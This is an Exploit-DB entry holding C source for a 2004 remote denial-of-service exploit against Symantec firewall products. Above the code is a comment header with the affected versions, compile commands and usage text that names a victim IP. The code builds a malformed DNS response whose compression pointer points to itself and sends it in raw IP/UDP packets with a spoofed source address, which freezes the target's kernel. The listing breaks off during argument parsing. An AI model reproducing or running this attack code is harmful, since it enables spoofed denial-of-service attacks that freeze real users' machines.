Exploit-DB #299
Description: Symantec Multiple Firewall - DNS Response Denial of Service
Type: dos
Platform: windows
Date: 2004-05-16
Author: houseofdabus

Exploit:
/* HOD-symantec-firewall-DoS-expl.c:
 *
 * Symantec Multiple Firewall DNS Response Denial-of-Service
 *
 * Exploit version 0.1 coded by
 *
 *
 *                 .::[ houseofdabus ]::.
 *
 *
 *
 * Bug discoveried by eEye:
 * http://www.eeye.com/html/Research/Advisories/AD20040512B.html
 *
 * -------------------------------------------------------------------
 * Tested on:
 *    - Symantec Norton Personal Firewall 2004
 *
 *
 * Systems Affected:
 *    - Symantec Norton Internet Security 2002
 *    - Symantec Norton Internet Security 2003
 *    - Symantec Norton Internet Security 2004
 *    - Symantec Norton Internet Security Professional 2002
 *    - Symantec Norton Internet Security Professional 2003
 *    - Symantec Norton Internet Security Professional 2004
 *    - Symantec Norton Personal Firewall 2002
 *    - Symantec Norton Personal Firewall 2003
 *    - Symantec Norton Personal Firewall 2004 
 *    - Symantec Client Firewall 5.01, 5.1.1 
 *    - Symantec Client Security 1.0, 1.1, 2.0(SCF 7.1)
 *    - Symantec Norton AntiSpam 2004
 *
 * -------------------------------------------------------------------
 * Description:
 *    eEye Digital Security has discovered a second vulnerability
 *    in the Symantec firewall product line that can be remotely
 *    exploited to cause a severe denial-of-service condition on
 *    systems running a default installation of an affected version
 *    of the product. By sending a single malicious DNS (UDP port 53)
 *    response packet to a vulnerable host, an attacker can cause
 *    the Symantec DNS response validation code to enter an infinite
 *    loop within the kernel, amounting to a system freeze that requires
 *    the machine to be physically rebooted in order to restore operation.
 *
 * -------------------------------------------------------------------
 * Compile:
 *    Win32/VC++  : cl -o HOD-sym-DoS-expl HOD-sym-DoS-expl.c ws2_32.lib
 *    Win32/cygwin: gcc -o HOD-sym-DoS-expl HOD-sym-DoS-expl.c -lws2_32.lib
 *    Linux       : gcc -o HOD-sym-DoS-expl HOD-sym-DoS-expl.c -Wall
 *
 * -------------------------------------------------------------------
 * Command Line Parameters/Arguments:
 *
 *    HOD-symantec-firewall-DoS-expl [-fi:str] [-tp:int] [-ti:str] [-n:int] 
 *
 *           -fi:IP    From (sender) IP address
 *           -tp:int   To (recipient) port number
 *           -ti:IP    To (recipient) IP address
 *           -n:int    Number of times to send message
 *
 */


#ifdef _WIN32
#pragma comment(lib,"ws2_32")
#pragma pack(1)
#define WIN32_LEAN_AND_MEAN 
#include <winsock2.h>
#include <ws2tcpip.h> /* IP_HDRINCL */
#include <stdio.h>
#include <stdlib.h>

#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/timeb.h>
#include <string.h>
#endif

#define MAX_MESSAGE        4068
#define MAX_PACKET         4096

#define DEFAULT_PORT       53
#define DEFAULT_IP         "10.0.0.1"
#define DEFAULT_COUNT      1

#ifndef _WIN32
#       define FAR
#endif


/* Define the DNS header */
char dnsreply[] =
"\xc9\x9c"  /* Transaction ID */
"\x80\x00"  /* Flags (bit 15: response) */
"\x00\x01"  /* Number of questions */
"\x00\x01"  /* Number of answer RRs */
"\x00\x00"  /* Number of authority RRs */
"\x00\x00"  /* Number of additional RRs */
"\xC0\x0C"; /* Compressed name pointer to itself */


/* Define the IP header */
typedef struct ip_hdr {
    unsigned char  ip_verlen;        /* IP version & length */
    unsigned char  ip_tos;           /* IP type of service */
    unsigned short ip_totallength;   /* Total length */
    unsigned short ip_id;            /* Unique identifier */
    unsigned short ip_offset;        /* Fragment offset field */
    unsigned char  ip_ttl;           /* Time to live */
    unsigned char  ip_protocol;      /* Protocol */
    unsigned short ip_checksum;      /* IP checksum */
    unsigned int   ip_srcaddr;       /* Source address */
    unsigned int   ip_destaddr;      /* Destination address */
} IP_HDR, *PIP_HDR, FAR* LPIP_HDR;

/* Define the UDP header */
typedef struct udp_hdr {
    unsigned short src_portno;       /* Source port number */
    unsigned short dst_portno;       /* Destination port number */
    unsigned short udp_length;       /* UDP packet length */
    unsigned short udp_checksum;     /* UDP checksum (optional) */
} UDP_HDR, *PUDP_HDR;


/* globals */
unsigned long  dwToIP,               // IP to send to
               dwFromIP;             // IP to send from (spoof)
unsigned short iToPort,              // Port to send to
               iFromPort;            // Port to send from (spoof)
unsigned long  dwCount;              // Number of times to send
char           strMessage[MAX_MESSAGE]; // Message to send



void
usage(char *progname) {
	printf("Usage:\n\n");
    printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> [-tp:DST-PORT] [-n:int]\n\n", progname);
    printf("       -fi:IP    From (sender) IP address\n");
    printf("       -tp:int   To (recipient) open UDP port number:\n");
	printf("                 137, 138, 445, 500(default)\n");
    printf("       -ti:IP    To (recipient) IP address\n");
    printf("       -n:int    Number of times\n");
    exit(1);
}

void
ValidateArgs(int argc, char **argv)
{
    int                i;

    iToPort = 500;
    iFromPort = DEFAULT_PORT;
    dwToIP = inet_addr(DEFAULT_IP);
    dwFromIP = inet_addr(DEFAULT_IP); 
    dwCount = DEFAULT_COUNT;
	memcpy(strMessage, dnsreply, sizeof(dnsreply)-1);

    for(i = 1; i < argc; i++) {
        if ((argv[i][0] == '-') || (argv[i][0] == '/')) {
            switch (tolower(argv[i][1])) {
                case 'f':
                    switch (tolower(argv[i][2])) {
                        case 'i':
                            if (strlen(argv[i]) > 4)